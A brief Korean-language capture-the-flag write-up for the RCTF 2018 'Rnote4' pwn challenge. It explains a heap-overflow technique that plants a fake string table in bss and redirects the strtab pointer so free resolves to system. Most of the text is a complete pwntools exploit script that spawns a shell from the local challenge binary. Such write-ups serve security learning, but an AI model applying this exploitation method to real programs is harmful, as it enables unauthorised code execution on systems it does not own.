[RCTF_2018] Rnote4

재미있는 문제! 출력하는 함수도 없고 어떻게 leak을 해야할지 고민했었는데 간단하게 bss에다가 strtab 구조를 만들어주고 strtab의 주소를 bss로 덮으면 끝!

 

free를 system으로 바꿔서 쉘을 획득했다.

 

 

from pwn import *
 
s = process("./rnote4")
elf = ELF("./rnote4")
 
def alloc(size,content):
    s.send(p8(1))
    s.send(p8(size))
    s.send(content)
 
def edit(index,size,content):
    s.send(p8(2))
    s.send(p8(index))
    s.send(p8(size))
    s.send(content)
 
 
def delete(index):
    s.send(p8(3))
    s.send(p8(index))
 
def quit():
    s.send(p8(4))
 
strtab_addr = 0x0000000000601EA8
 
 
alloc(16,"A"*16)
alloc(16,"B"*16)
 
pay = "A"*16
pay += p64(0)
pay += p64(0x21)
pay += p64(0x10)
pay += p64(elf.bss()+0x100)
 
edit(0,len(pay),pay)
 
pay = "B"*0x5f
pay += "system"
 
edit(1,len(pay),pay)
 
 
pay = "A"*16
pay += p64(0)
pay += p64(0x21)
pay += p64(0x10)
pay += p64(strtab_addr)
 
edit(0,len(pay),pay)
edit(1,16,p64(0x5)+p64(elf.bss()+0x100))
 
alloc(7,"/bin/sh")
delete(2)
 
s.interactive()